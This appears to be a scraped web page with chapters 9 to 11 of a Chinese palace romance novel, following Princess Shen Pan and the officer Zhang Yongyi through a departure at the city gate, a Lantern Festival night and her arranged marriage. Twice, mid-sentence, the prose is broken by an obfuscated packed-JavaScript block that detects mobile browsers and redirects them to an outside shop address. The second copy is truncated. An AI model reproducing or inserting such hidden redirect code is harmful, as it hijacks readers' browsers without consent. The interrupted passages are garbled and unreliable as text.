叫晨更鼓鼕鼕已经响三声,一箭黑骑飞掠过化隆城的街坊巷里,踩着第四声鼓响奔上了务本门十字街。街边闹市已逐渐活络,这人背着府军卫镶红边的令旗,频频催动马鞭,头上的风帽翻了他也不管,任凭那帽子砸上街边的面摊,激起了一片尘粉。 摊主的叫骂声刚要去追,这一马一人已经跑没了踪影。 然后是第五声鼓。 第六声。 第七声。 化隆城从无宵禁,只是东北、西北的几处城门在冬半年有短暂的夜禁。再有两声,五更二点就要到了,靖远门正式大开,来往于上林苑乃至东北宁远的车架便能在冬令宵禁之后畅通无阻。 沈斫已坐上了马背,可缰绳还在太子手中攥着,沈磐也一声不吭地踱步跟着,一前一后两个人,将马背上的沈斫“挤”得心神难安。 第八声鼓响已经落在脚下,沈磐抬脚就踏了上去,手中的风灯却被这震天的响动惊得埋头乱窜,短暂动荡了几个弹指后,方才平稳地重新播撒这种燃烧的炽热。 她的心也是这般热的。 望着沈斫的背影,她的眼眶也是这般热的。 城楼鼓手已经扬起了鼓槌,第九声鼓响即将诞世。 靖远门广场上也卷起了一阵雪土旋风。 “隆隆——咚——” 守城的府军卫缓缓拉开城门,官道上的破夜者也拔出了令旗,高喊着“关门”,也不管正对着城门的究竟是怎样的达官显贵,拼了命地迎风驰来。 “指挥使有令!关门——” 那一面令旗不似作伪。 太子蹙眉,招来守在一旁兵甲整齐的长缨卫,“拦住他,责问清楚。” 沈斫也转过脸望过去,一片冷寂中那个传令兵吼得上气不接下气,长缨卫横过长槊,朝他连发勒马的指令,他却不管,像是饿狼扑食般直奔着马背上正要被太子牵出瓮城的自己而来。 9. 第九章 永夜灯(四) 守城的这一班府军卫里跑出了班头,一壁望着那面令旗,一壁望着太子和燕王,左右为难。 沈斫的心提了起来。 莫名奇妙要拦门。 他的视线落在了将随自己远赴东北的一众亲卫里,那个又矮又瘦的干瘪老头脸上。 崖然也惴惴不安,但还克制着不回头看。 “指挥使有令!” 这人的声音已经哑了。 太子拍拍沈斫盖了厚厚旃毯的腿,两人俱听身后沈磐指挥起长缨卫:“冲撞东宫仪驾,把他拦下。” 太子瞥了一眼那个班头,又顺着沈磐的话继续命令,“拦下他。” 那背了一整个浓稠之夜的传令兵在一声马嘶里翻滚落地。 太子又揪了揪马缰,引着沈斫继续朝东方的城门走,“此去宁远,你要珍惜自己的身体……” 见长缨卫将人架了起来,沈磐丢下灯,提着裙摆转身追了过来。 似是心有灵犀,沈斫回望时,沈磐已经喘着气跑到了马下。 “你……你要好好吃饭,好好睡觉,还要安安分分的,别去招惹事端……” 沈磐一把抓住他的手,“千万要保重自己!什么也没有你的命珍贵!” 这次沈斫倒没有那么害羞,反扣住沈磐被冻红的手轻轻搓了搓,“你们放心。” 但他说得心不在焉的,频频回首望着慢慢苏醒的化隆城。 沈磐忍着眼泪笑,挑挑眉,“我在这里,大哥在这里,你还回头想看谁?” 被沈磐捉了现形,沈斫腼腆轻笑。 太子将马缰还到他手中,“侯府事多,孩子又小,你大姐不能亲自来送——” “我知道。” 沈斫回得很快,倒让太子生出了更重的愧疚。 沈磐忍住对大姐的不满,不舍地松开沈斫的手。 “你今年还没去看过砯儿——” 沈斫听出太子的哽咽。 沈磐接话笑道:“但三哥一直在天上看着呢,他一直都会保你平安,等你明年平平安安回来亲自给他告罪。” ** 燕王出城已经成为八日前的旧事,化隆的男男女女都兴奋着眼下十五的花灯会。难得,只有今年的十五夜,光武门洞开,达官显贵全都登上内城城楼,陪着天潢贵胄一同欣赏西南鲁姓皇商献进京的一场“盒子灯”。 如此,平头百姓如何不欢呼雀跃? 人群一窝蜂全堵到光武门,万景楼下就稀疏许多,但不乏弯弓搭箭的人,朝着那四盏耀若云星的琉璃灯比划。 张永一还是被义然推搡着来到万景楼下。 现下拉弓的是一位黑脸大汉,方才搭箭的是一个白面郎君。 “嘶——”众人都可惜起来。 义然盯着那懊悔不已的大汉,咂咂嘴:“唉,就差一点,该死的晚风。” 张永一随口应了一声。 义然抒怀道:“看了这么多,能将箭射上去的,他是头一个吧?可敬可敬。” “嗯。” 义然睃着那大汉,不吝欣赏:“浑身腱子肉,这身态真是绝了,该是军中的,能练成这个样子,得是战场上下来的——” “嗯。” “公子你说,咱们要练成他这个样子,得吃多少刀剑呐?” 身边没有回应。 义然摩挲着下巴,“公子?公子?” “怎么了?” 义然回神,扭头就见张永一面色从容,声音听着也稳如秤砣,就是眼神一时收不住有些飘忽,不知在这人山人海里看见了什么又想去看什么。 他一脸坦然,倒叫义然不好意思随意揣度。 可是忽然,人群里极其清晰地爆出了一声娇笑:“呐!就是他了吧?” 张永一仍然诚恳地看着自己一错不错,义然纳闷,又听有姑娘嬉笑:“是啊,他就是梁国长公主的孙儿,燕王身边的千户……” 义然即刻转身望过去,就见那花团锦簇的一群姑娘愣了愣,旋即都捏了帕子掩面转身,可一双双眼睛都亮得可怕,全都黏在张永一脸上剥都剥不下来。 义然又看张永一。 他居然被这些姑娘看得不敢抬眼。 “公子?”义然笑眯眯道,“公子怎么这么害羞?” 张永一皱眉,责怪般瞪了义然一眼,这让他看戏看得更高兴了,拍着手拱火:“这么多人看着呢,公子你不如上去露一手,万一成了就是化隆城里的一桩美谈!” “义然!” 听张永一这般压低声音又咬牙切齿地喝止自己,义然高兴得差点手舞足蹈,“嗳,公子怎么这么害羞,那时候我们在宁远,凯旋后从南门回城,哇塞,北边的姑娘多么奔放,众目睽睽的、光天化日的、朗朗乾坤的,直接将自己的手帕丝带挂在你脖子上,你也没这么害臊啊……” “哦?” 义然一怔,一时回不过味来,闻着身后一群各色熏香步步逼近,听一女声似笑非笑地问:“是么?看来张千户收获了不少。” 义然原地爆炸,踩了钉似的一蹦三尺高,跳到张永一身后,这才看见被一群贵女捧在中间,一身罩了白月纱的湘妃色罗裙的女子,不是那尊贵异常的长平公主沈磐是谁?她这身颜色极妙,像是下午天边烧得有些暧昧朦胧的晚霞,又像是羊脂玉般的脸蛋上酒后的酡红。 这酡红义然应当是没有见过的,可他就觉得很眼熟。 他连忙低头要给长平公主见礼,公主却不管这些礼数,在身边一众娇花照水般美得千姿百态的姑娘们一同响起的笑声里问张永一,“是吧张千户?” 张永一连忙行礼,头也不抬,话也不答。这神态落在义然眼里,他即刻生出了一种自家公子当街被姑娘“调戏”的错觉! 是了,他知道公主身上的颜色为何这么眼熟了。 张永一的耳朵直到脖颈,全是这样的红色。 沈磐看在眼里,笑了笑便打算放过张永一,却听身边有个促狭的,“哈哈”笑着抓住沈磐的手,在自己的注视下丝毫不客气地翻翻抖抖自己的袖子,硬是从自己袖子里掏出一方素帕来,递到还抬不起头的张永一眼前寸许之地。 “张千户居然收获了这么多啊?只是不知公主这方——你要不要啊?” 众女止住欢笑。 沈磐一懵,错愕地看着她脸上的笑容比天上的月亮还要硕大。 张永一也似被吓到了,抬抬眉看了一眼那帕子,即刻又低眉闭眼,将脸压得更低。 像个遁入空门的僧人。 众女挤眉弄眼起来。 他该被一种窘迫烤熟了。 沈磐心中微叹,皮笑肉不笑地,劈手要夺自己的素帕,“翩翩,玩笑不是这么开的,将张千户吓跑了,你这秋波媚眼给谁送啊?” 风乍起。 沈磐的衣袖被掀了起来,身上的熏香也正随风朝着张永一的方向飘去。或许是这边姑娘家身上的香气乱七八糟杂糅在一起,冲得张永一鼻子痒,又或许是沈磐按也按不住的袖子骚上了他的鼻尖,他微退一步,抬手想挡上一挡,手心却不知碰到了什么。 一开始是绸缎般的清凉顺滑,旋即就温暖了起来、柔软了起来。 不,不是温暖柔软。 在张永一看清,隔着那方被吹开的素帕,落在自己掌心的居然是沈磐的手的这一刻,一团火就从掌心蹿了起来,一眨眼就遍燃全身。 他不自主抖了抖,后退一步,也不顾不得撞上了义然,只在夜风要将这放素帕捎到空中前、只在沈磐似也被烫到时缩回手后,抓紧了手指。 帕子上还留着沈磐的温度。 沈磐的眼睛里却映着双颊都有些烧红的张永一。 张永一抓着帕子,胡乱折了折,又埋下脸递了过去。 他能将千斤重的大刀握得稳稳当当,此刻托着这方鸿毛似的素帕,手却颤得厉害。 姑娘们齐齐笑了。 方才被沈磐叫作“翩翩”的姑娘笑得尤其肆意,“张千户连长平你的手绢都敢接,这必然是吓不跑的哈哈哈哈哈——” 沈磐一压眉梢,似是生气,却让“翩翩”看出了“嗔怪”,她抓住沈磐要去抽帕子的手,“嗳,送都送了,你堂堂一个公主,哪有把送出去的东西要回来的道理?多寒酸。” 她们推搡着沈磐,愣是将人簇拥出好几步远。 “快看,又有人要自取其辱了!” “嚯,那不是霍尚书的儿子吗?叫什么来着?” “公……公子,公主她们走了。” 张永一应了一声,缓缓直起身。 他简直托不住这方素帕。 如有千钧。 众人欢笑中,沈磐趁着她们专心奚落各种男人,侧过身,边用余光扫着张永一挺拔的身姿,边挪着步子,在“翩翩”领着各大难缠的高门贵女朝着那再度落败因而有些气急败坏的男人喝倒彩时,一闪身溜得无影无踪。 人一下子就多了。 义然也被挤了开来。 但张永一并没有发现,毕竟他迎面吹着寒风,一直能感觉得到身边有一个人的温暖,便以为还是义然,只是义然突如其来的沉默让他有些奇怪,但这小子向来会间歇性发疯、间歇性正常…… 那边爆出了一声喝彩。 人群中那个男子怀中抱着一盏兔子灯,不是万景楼四角挂的,而是店家挂在低处给诸位郎君挽回颜面用的。张永一觉得他有些面熟,但那股摘星星摘月亮都手到擒来的骄傲感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887830|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却匹配不上自己记忆里的任何一人。 张永一问:“那是谁?” “霍开武。” 张永一一愣,低头就见自己身边闪动着落花似的裙摆,那股幽幽的香气便在他低头的一刹那冲入鼻腔、钻进心脉、游走全身。 他差点一步跳开。 按捺着自己的惊骇,他看清了扬起脸的沈磐,仿佛近在咫尺的一双眼睛里盛尽天上云流、地上水影、无穷碎月。 他连忙移开视线,不敢去看。 沈磐轻笑,侧着一步拉开了两人的距离,又微扬眉扫一眼强装镇定的张永一,一旋身便差点走没了影。 张永一心里若有所失,不假思索追了上去。 等走出了人群,眼前只有沈磐一人提着裙摆款款走上拱桥台阶,他顿时觉出了自己的失礼。 手中的素帕都浸上了自己的汗。 他更觉失态。 此时,沈磐转身俯望他,“那天你怎么没来?” 张永一的局促顿时委落,他沉下被拨弄得起伏不定的心,轻声道:“臣不敢。” “有何不敢?” 张永一不答。 见沈磐朝他伸手,以为公主要走下台阶,下意识就要去接她的手,可在他伸手前,理智觉醒,连忙将另一手掌心的帕子递了上去。 沈磐挑眉,隔着帕子,拉上他的手将人拽了过来,“你近一些。” 但还是不免有肌肤相触。 张永一整只手都麻木了。 “那天府军卫指挥使宣钦下令迟开城门,被我二哥拦住了。” 张永一瞬时清醒,“为何?难道是因为……” 沈磐将素帕收入袖中,点点头,“后来责问,宣钦说是锦麟卫传来的意思,让他们守卫各大城门的仔细排查,以防浑水摸鱼者。” “他们……” 沈磐接话:“在查吃空饷。” 张永一顿时想到那夜晚归,和张绰遇见的那一主一仆。 余下的话,沈磐不说,张永一也都明白。 此事非同一般的冒名顶替吃空饷,寻常的事情大多是瞒天过海抑或者闭眼默许,而崖然占的这个位子,是太子授意,然后长缨卫指挥使千挑万选找出来的。这性质就不同了,虽然那长缨卫的妻女仍然享受了卫所兵士的全部俸禄,但事办得还是大错特错,一旦被人捅出来,办事的、享福的,乃至背后的指使东宫太子,都会因为知法犯法、乃至于明知故犯与陛下对着干而大祸临头。 张永一心思沉重。 “他们……臣……对不住殿下。” 沈磐见不得张永一露出这样愧疚难当恨不得以身相替的神情。 “他们不会追究的。” 张永一微讶,眼神直白地询问起沈磐。 沈磐的眼里似没有多少高兴。 他不敢也不忍问了。 但他心里被沈磐的微微失意搅弄得处处不宁。 让他们不再追究,东宫必然是付出代价的。 那会是什么代价呢? 可沈磐暴力击碎这样沉重的氛围,但她起的话头着实也添不了多少松快,“那天沈斫在找你。” “他一直回头,以为你会来。” 其实沈斫也知道,张永一不来是妥当的,毕竟崖然在,战战兢兢的崖然在,而他们离逃出生天只差一步之遥。 不能留半分嫌疑。 可他们都对这样的离别,感到惋惜。 同来何事不同归? 沈磐往桥下走。 万景楼的热闹已经被他们甩在身后。 但前面就是观华楼。 他们不过是从一处热闹地走到了另一处风月场。 “张永一。” “臣在。” 沈磐望着观华楼上的歌舞升平,“听说过襄阳侯府的一对姑侄不婚配、在京畿之外过得逍遥自在吧?你说,女子不成婚还有什么出路?” 张永一压抑着心里不明源头却潺潺不灭的失落,故作认真地想思索出一个结果。 可女子不成婚还能有什么出路? 公主是女子。 公主要成婚了。 她要成婚了。 不是和自己。 张永一斩断自己越来越漫漶、越来越大胆的胡思乱想。 “呆在家。” “不能在家呢?” “有一门能养活自己的手艺,四海为家。” 沈磐叹息。 张永一望着她的侧脸,多么流畅,又多么凌厉,像一柄刀子,轻而易举就能割开自己的皮肉,让自己血流不止。 他觉得自己一定是病了。 只因为当时她说“让自己娶她”的一句胡话。 10. 第十章 永夜灯(五) 他们才见过寥寥几面,说过的话更屈指可数,自己却病成了这个样子。 崖然说得太对了。 他还太年轻,只是有些痴迷于这样的悸动。 他还太年轻,还掌控不了自己的身体。 索性他知道。 这叫欲望。 只因沈磐说过的一句胡话。 如果只是因为欲望,那就“对事不对人”。 此事与沈磐无关。 张永一心略定,轻声道:“陛下那么疼爱公主,还有太子……” 沈磐笑着挑眉:“你以为是我要成婚?” 他一窒息。 听她嗤嗤笑:“哎呀,张千户在想什么?” 他喘不过气。 沈磐歪着脑袋朝他挑眉,只笑,不说话。 见张永一被她逗得手足无措,沈磐终于熄了心思,笑道:“方才对不住,刚才最无法无天开你玩笑的是辛翩翩,她一向这样,无聊了就想着逗人玩,吓到你了。” 张永一手忙脚乱,打了一个揖,“没有,原来是辛姑娘,是臣的错,没有认出……” 沈磐“噗嗤”一笑,“这哪里是你的错,你常年不在京——” 她轻松地沿路走,步履生风,“你连她爹是英国公辛自宽都不知道,这当然不是你的错。” 张永一眼前立即闪过夜宴那天见过的辛喾。 “她是公府独女,上头两个哥哥,宠得上天了都,要什么有什么,说什么是什么,还有她的那大名鼎鼎的姑姑申二夫人,年轻时豢养宠儿一个接着一个,你肯定也不知道……她走在这化隆的大街小巷,可比本宫还要有排面。毕竟有那么真心疼爱她的家人做依仗,横着走当螃蟹也正常。” 张永一觉得沈磐话中的失意落寞处处都能落到她脸上每一个细微的表情变化。 这是真实的羡慕。 来自沈磐。 “公主,你也有真心疼爱的家人。” 沈磐回头瞟他一眼,脸上还是带笑的,“是么?我大哥是、大嫂也是,沈斫也算吧,我大姐……唉,他们都是我的家人,那就是了。” “还有陛下。” 沈磐驻足,仰头望着高耸入云的观华楼。 入夜上灯的观华楼,真像是一只既冰冷又炽热的巨物,横亘在天地间,仿佛是开天辟地那一年就被盘古搬到了这里,自此冷眼旁观这人间的悲欢。 她喃喃道:“不是,他只爱他自己。” 张永一蹙眉,不敢说话。 他很安静。 可沈磐又转过脸,看向他,似是要他的一个反应、一句话,“他并不爱我,就像厌恶燕王一样。” 但张永一无话可说。 沈磐就这样望着他,仰头,却还想望着。 “他其实是个很冷血的人,为了自己心里的利益,什么都能抛弃。能走进他的心里,这是多么艰难又难得的事情——” 沈磐转过脸喟叹不已:“我佩服那些人,能在他小得可怜的心里据有一席之地。” 张永一喉头一哽。 “公主,他是您的父亲。” 沈磐笑了,摇头时头上那只玉步摇轻轻荡起秋千,“不不不,他是‘君父’。” 君父不是父亲。 君父是君主。 沈磐痴望着他眼里那几近于“蠢”的澄澈,那种不明白“君父”怎么就成了“君主”的澄澈。 他一定有一个美满欢乐的家庭。 沈磐直面自己的内心:她羡慕,甚至有些嫉妒这种广为人知的“天真愚蠢”。但她再口无遮拦,也不敢将心里的真话诉诸于口。 她和张永一到底是两条路上的人。 不同道,不同心,不同言。 沈磐一哂:“嗳,你不懂的,又或许等你以后——” 张永一一触及她的视线,就恋恋不舍又惊慌失措地错开。 他错过了沈磐眼里不加掩饰的恋慕。 沈磐自言自语:“等你成了别人的‘君父’,你就会懂了。” “什么?” 沈磐笑着摇头,继续拉着步子往前走,“哎呀,没什么。唉,虽然他不是爱我的父亲,但这些年在他的宫里,我的确享受了不少实惠,现在孙太医一死,他的身体突然就垮下来,一天不如一天——” 她还是关心记挂的。 “听元亨说,他打算去长安近郊的五柞宫修养——哦,那天带你来东宫的内监,他就叫元亨。” 张永一轻声应:“臣知道。” “唉,去也就去吧,听二哥说他登基到现在,除了上林和曲江行宫,再远的就没去过了,我那未曾谋面的皇祖父也是这样的,去看看也很好……” 但张永一看不出她脸上有任何喜色。 他开口接话,不至于让突然沉寂下来的气氛再度落地。 “公主在忧心。” 沈磐朝他无奈地扬眉,“你也看出来了?是啊,我二哥也很忧心。” 见张永一满脸真诚,沈磐笑道:“你想替本宫解忧?” “哈哈——”沈磐自顾自接话,刻意打趣他:“这忧张千户可解不了,哪怕是本宫的驸马也不能解。” 只觉沈磐的话如同一只手攥住了自己的心脏,张永一低下视线。 身前的公主还笑盈盈边走边道:“孙太医走了,搞得整个太医院都成了尸位素餐的废物,让一个专擅祝由之术的混子挤到他身边,真是一帮废物……他也是,上了年纪会迷信些也正常,就是成天与一个混子混在一起,真是武皇帝临老还要轮台罪己……” 她的心,好像真的很大。 四周不乏长缨卫和凤翔卫的眼线,她却理直气壮将牢骚说得满天乱飞。 “太子监国,却要把陈王带在身边,内阁里除了兵部尚书霍辄统统留京,也不知他老谋深算究竟在‘谋’些什么——呀,掷花球选金婚?有趣。” 张永一回神看去,前方两层高的雕花阁子下架着一长排花灯谜,灯谜尽头还搭了擂台,台后二楼临窗拥着一群年轻公子,一只扎着红绸的花球正在他们手中轮转,旁边颦鼓惊掠,一盏盏酒地往肚里灌,人人面色微醺。 沈磐已经撒开步子跑了过去。 灯谜长廊里人影稀疏,来客大多聚在了擂台之下,这有些冷清廊道里骤然盛开了这样一朵披霜芙蓉,二楼的公子哥们借着酒劲纷纷张望出来。 “土地喊城隍?神乎其神。” “大姑娘的荷包?花样多。” “卒子过河?” “有去无回。” “有进无退。” 沈磐仰头正翻捡着灯谜,乍听身后闷葫芦似的张永一突然解答,不禁笑笑。 “吃饺子不吃陷——” 张永一答:“调皮。” 沈磐再翻开一个念给他听:“二十五只老鼠钻胸膛——” “百爪挠心。” 说“调皮”时他的声音是轻快的,说到“百爪挠心”一下子就低哑起来。 沈磐心中笑,连翻了两个才念了个满意的:“上午栽树、下午取材——” 张永一望着她,“心太急。” “灯盏无油——” “火烧心。” 沈磐勾勾唇角,捶捶有些酸痛的胳膊,“你翻,我来答。” 张永一点头,随手翻开一个,“油水。” 沈磐略一皱眉。 见张永一低头看着自己,沈磐挺直腰杆大言不惭地胡说道:“轻浮。” 张永一避开视线,连忙翻下一个,“六月里吃萝卜。” “图个新鲜。” 张永一不自主地锁紧眉头,“小河撑船。 “一竿子到底。” “欸,你怎么跳过了?”说着,沈磐上手翻开被张永一刻意忽略的那张灯谜,煞有介事地轻声念道:“婚期定在元宵后。” 她说得太快,以至于脑子来不及反应,才漾起的心又沉入湖底。 这不是错觉,张永一偷偷瞥她的这眼里,似有伤感。 可这个谜底是大喜过望啊。 她这样折腾一番,倒真是河边洗黄连了。 何苦。 发觉沈磐心绪低落,张永一建议道:“去前面看看吧?似在击鼓传花。” 的确是在击鼓传花,但惩罚不是灯谜,而是上元诗。 沈磐一向不喜风雅,一直是焚琴煮鹤的玩乐心性,对这种吟诗作对的雅事常常避如蛇蝎,一听那些白面书生拽着酸诗腐文,连忙掉头要走。 却在此时,听楼上有人道:“嵇公子来了。” 沈磐顿足,朝二楼那个众星捧月间睥睨之态溢于言表的年轻男人看去。 他正也朝沈磐看来。 不过他的视线又流转到了张永一脸上。 他偏头向边上人轻声问了些事。 沈磐差点就要推着张永一往人堆外走,好在她还警醒着四周都是眼睛,收手用手肘捅了捅他的胳膊,一扬头就要逃出这越来越密集的人堆。 张永一即刻跟了过来。 “怎么了公主?” 被人群挤了一身汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只有嵇阑坐在了轩窗上,歪着头笑吟吟地看着霍开武。 “这位娘子,嵇公子楼上有请。” 沈磐回头想找张永一,头来不及回,楼上就下来一对小鬟推搡着她要进酒楼,周遭的长缨卫和凤翔卫如临大敌,但他们各个便装,挤不进这肉墙似的人群,只能眼睁睁看着沈磐被请上了楼。 ** 等沈磐全须全尾地从楼上下来,就见这阔大的一楼酒肆已经被长缨卫和凤翔卫勒令清空,正中坐着霍开武,边上站着山风,桌上还摆着那只兔子灯。 就是没有张永一的影子。 霍开武连忙起身,走到楼梯口。 嵇阑也从包间里走出来,靠在二楼栏杆上,笑对霍开武。 一盏茶的功夫。 不长不短。 两个人衣冠整齐。 沈磐鬓发如故。 却能让霍开武暴跳如雷。 孤男寡女共处一室。 还是嵇阑刻意在他眼皮子底下办的。 霍开武强避开嵇阑的视线,但嵇阑的视线像是一把火不远不近地烤着他后背,让他都忘了要给沈磐大献殷勤。 沈磐也不理他,径直走出酒肆。 楼外的人流已被驱散,只有自己的马车停在正中静静等待。 此刻不过亥初。 外头也不见张永一的身影。 霍开武追上来,“公主看过鲁先生进献的盒子灯吗?一会儿还有一场……” “不看。” 被沈磐呛声,霍开武也不恼,拿出应对自家老子的耐心,再度要磨:“那公主现在要回宫吗?微臣给公主驾车。” “不必。” “臣射了一只兔子灯,不知公主喜不喜欢……” “不喜欢。” 看着沈磐神色淡淡,却句句下他的脸面,霍开武按捺不住,恨不得冲回去杀了那个嵇阑,却还记得出门前小叔的叮嘱,叫他在长平公主面前,要多谦卑就多谦卑,公主要打他的左脸,打完了还要把右脸送上去…… 霍开武快要气疯了。 “霍员外见了本宫,今天还没有施礼。” 霍开武只能后退一步打了个长揖。 沈磐眼皮子抬也不抬,褰裙就要上车。 霍开武不忘伸手要搀。 沈磐盯着他的手看了瞬息,一抬头就见街角立着一个男人,好像是张永一。 她本不想沾霍开武半点毫毛,可眼前骤然闪过今夜张永一的种种局促。 沈磐心里叹息。 更叹自己的恶劣。 她狠狠借了霍开武小臂的力气。 陛下把她赐给了霍开武。 婚期定在元宵后的十月。 大喜过望。 11. 第十一章 独丧人(一) 天刚亮,张永一自兵部点卯后径直去了东直门。 他入职兵部的告身在上元夜后的第五日就发到了梁国公主府。梁国长公主翻开一看,见圣上特点他为兵部武库清吏司郎中,是正五品,掌全国的兵籍、军器及武科考举之事,勉强也是个肥缺。 祖母很高兴,虽然不过是个五品郎中。 所以在这早朝未复、各衙司怠惰上值的第六天,他就被祖母催促着收拾衣冠进宫谢恩。 他在御书房檐下等了有一会儿,这一会儿久到日头爬出云层,夜里的寒气逐渐散去,深墙下终于有了一丝掸被子时的绵绵暖意,小内监这才低眉顺眼地从房内溜出,朝自己大施一礼。 “抱歉了张大人,陛下身子不适,您还是改日再来吧。” 张永一不多话,谢过这名内监,朝门口长揖下拜后,也不逗留迟疑,转身就走。 这小内监看着他走得一点也不拖泥带水,摸摸鼻子,“嗐”了一声。 陛下重病不宜接见,随便通传一声就是。可他被晾在殿外这么久尽吃冷风,却傻愣愣丝毫没觉出奇怪。 有钱能使鬼推磨,也能免他一番苦等,瞧着梁国长公主的长孙应该也不差这些个铜板。 真是傻大个。 小内监觉得丧气。 毕竟能欺负欺负的官儿就这么几个,要么是小,要么是新,再要么是早,接下去日头上了正轨可就捞不到好处了。 他可惜又憎恶地转身要回耳房,又见东直门方向走来一队人。 张永一刚好和他们打了照面。 那小内监远远飞奔跑来迎接的声音尖锐刺耳:“施太医!您可算来了,陛下等了您许久呢。哎呀,这么冷的天,太医您这是从宫外来的吧?” “嗯,刚给霍尚书府上的公子看过。” “那可真是幸苦您了,快进快进,别冻着了。” 张永一脚步不停。 他有时候可以装一装呆子,但他不是傻子。 不过他身子板硬,这点冷风还是受得住的。 只是“霍尚书府上的公子”…… 说的是霍开武吗? 几天前他就打听过了,霍开武也在兵部供职,是武选清吏司的员外郎,不是他的直属,却算他下属。 当年晋国公主下嫁,陛下犹嫌襄阳伯府的爵位太低,硬是拔回了侯府这才允了婚事。长平公主是晋国公主的亲妹妹,也是陛下的女儿,太子的掌上珠,陛下当真要把她嫁给一个比他的品阶还要低上一些的员外郎吗? 可他的父亲是霍辄。 而今谁的父亲能辉煌越过霍大将军呢? 霍开武今日只是员外,难保明天不会成为侍郎,到时候人品外的一切虚名都会般配的。 且从沈磐的态度看,这像是东宫付给霍家的代价。 为了长缨卫中泛滥出的冒名顶替——为了崖然。 张永一呵出一口气。 再过些天,燕王他们就要到宁远了吧? 大臂上似还疼着。 崖然那老头下手不知轻重,或许真如他所说,剜死人肉剜得太顺手。 张永一撂下这些杂想,一门心思地走起路,忽听身后宫道上有小孩子拍手在笑,嘀嘀咕咕又道:“姑姑真是神算子!” 张永一呼吸一紧,连忙回头,迎着光果然看见沈磐牵着沈仪明在东太平门甬道上笑。 她还是这么喜欢这些将满院子生意盎然都能披在身上的颜色。 其实她站在那里,就揽尽了化隆满城的春色。 沈仪明松开沈磐的手,朝张永一捏了一个礼:“张郎中。” 张永一连忙回神,朝他们要拜,就听沈仪明问:“张郎中拜见陛下了吗?” 张永一摇头,“陛下有恙,臣没见到。” 沈仪明重望向沈磐,两眼亮晶晶写满崇拜,“姑姑真是神机妙算的神算子!” 沈磐轻笑,揪着他脑袋上的两只丸子角将他的脸又转向莫名局促的张永一,弯腰在他耳边说:“那你问他,他是不是在御书房外等了很久。” 沈仪明便这么大声问了。 张永一扫过沈磐脸上势在必得的笑,呼吸更乱了几拍。 这里是东直门,过去就是六科廊和都察院,人来人往。 他点点头。 沈仪明握住沈磐的手,崇拜之情滔滔不绝:“姑姑真是前知五百年、后知五百年的神算子!” “哈哈。”沈磐点着他的脑门,拉起他热乎乎的小手,“走啦走啦,你不是要去上林折梅花?车马应该早等在正阳门啦……” 沈磐转身要走,沈仪明倒还记得要与张永一告别,“张郎中,我们下回见!” 张永一垂首揖礼。 抬眸瞬间,远远见沈磐也回眸看他。 两相对视,各自路过。 ** “姑姑,你究竟怎么知道张郎中被御书房外的内监甩脸色的?” 沈磐还走神于今日张永一一身板正的熊绘青袍,五品官的行头配他也算挺拔,忽听一向古灵精怪的沈仪明问了这样一个问题,还没去琢磨这小子是明知故问还真是傻愣愣天真,一看他肉嘟嘟的脸上满是兴奋和好奇,顿时有了答案。 见沈磐不想说,沈仪明扯着她的袖子撅着嘴、布谷鸟般地撒娇:“姑姑!姑姑姑姑姑姑!” 沈磐点开他的脑袋,“你不都知道嘛?干嘛问我。” “嘿嘿。”沈仪明攀上她的肩膀,“但仪明不知道,这么冷的天姑姑带我绕远路去和张郎中‘偶遇’,到底是为什么呀?” 这小子蔫坏! 沈磐傲据地乜斜他:“你不也知道么?” 沈仪明两眼迸射金光,“真的是这样吗!哇塞哇塞!” 他搓搓手,“这就是哥哥讲的,见色起意?还是一见钟情?还是命中注定?啊呀!” 沈仪明捂住吃了沈磐一个暴栗的额头,可怜巴巴地嘟嘴:“姑姑!姑姑害羞就害羞,为什么要伤害这么可爱的仪明呜呜呜……” 沈磐一个头两个大,“多么根正苗红的孩子,偏偏要和你哥哥他们学‘坏’!等你爹爹来东宫接你,我肯定要和他好好告状……” “姑姑!” 沈仪明捧着沈磐的手去揉自己的脸蛋,这小子也知道沈磐喜欢捏他的脸,这便笑呵呵地送了上去,“圣人说,食色性也!哥哥他们都长大了,思慕少艾又何错之有?姑姑也是,姑姑眼光这么好——” “不许提他!” “呜呜呜……姑姑好凶。” 沈磐莫名叹气。 沈仪明反捧上沈磐脸颊,轻轻推着她的唇角往上提,“姑姑别叹气,气叹多了就会老,姑姑这么美,美人老了多可惜。” 沈磐心中微动,刚又不自主地要叹息,就见沈仪明板着脸老鹰似地瞪着自己,连忙把吐出半口的气又吸了回去。 他这才又笑起来。 “这才对嘛。” “对什么对!你是长辈还是我是长辈?” “哈哈——”沈仪明撒手挤回沈磐身边,抱着沈磐的胳膊摇头晃脑地数:“第一天,第二天,第三天……还有两天爹爹就要来接我啦,然后爹爹就要带我们回江西,去外祖母家,到时候姑姑可就见不到仪明了。姑姑会很想念仪明的,所以啊,这两天姑姑要好好地对仪明……” 随着沈仪明天真无邪的念叨,沈磐的心绪还是沉了下去。 她轻声道:“仪明,以后不要在人前提张郎中。” 沈仪明眨眨眼,十分不解。 沈磐垂眸叹息。 路不平,车有些颠,街上的叫卖声更加响亮,车盖下的铎铃更吵得直掀天灵。 “好的姑姑。”沈仪明扑入她怀里。 沈磐的手在颤,却还是搂住了他。 多么小的一个孩子,多么有灵性的一个孩子。 隔着厚厚的冬衣,他仍然能听见沈磐心里的痛苦。 “姑姑在害怕吗?” “我有什么好怕的。” “害怕给张郎中添麻烦。” “才不是。” 沈仪明闷闷道:“姑姑和爹爹一样,口是心非。” 闻言,沈磐摸摸他的脑袋,“你爹爹怎么了?出什么事了?” 沈仪明摇头:“爹爹不允许我和任何人说……” 沈磐直觉有大事发生,“姑娘家思慕情郎这样大的事我招了,你小子居然还要瞒着我?快说!” 她装得“恶狠狠”的。 沈仪明犹豫一瞬,乞求道:“姑姑不能告诉任何人。” “嗯,你说。” 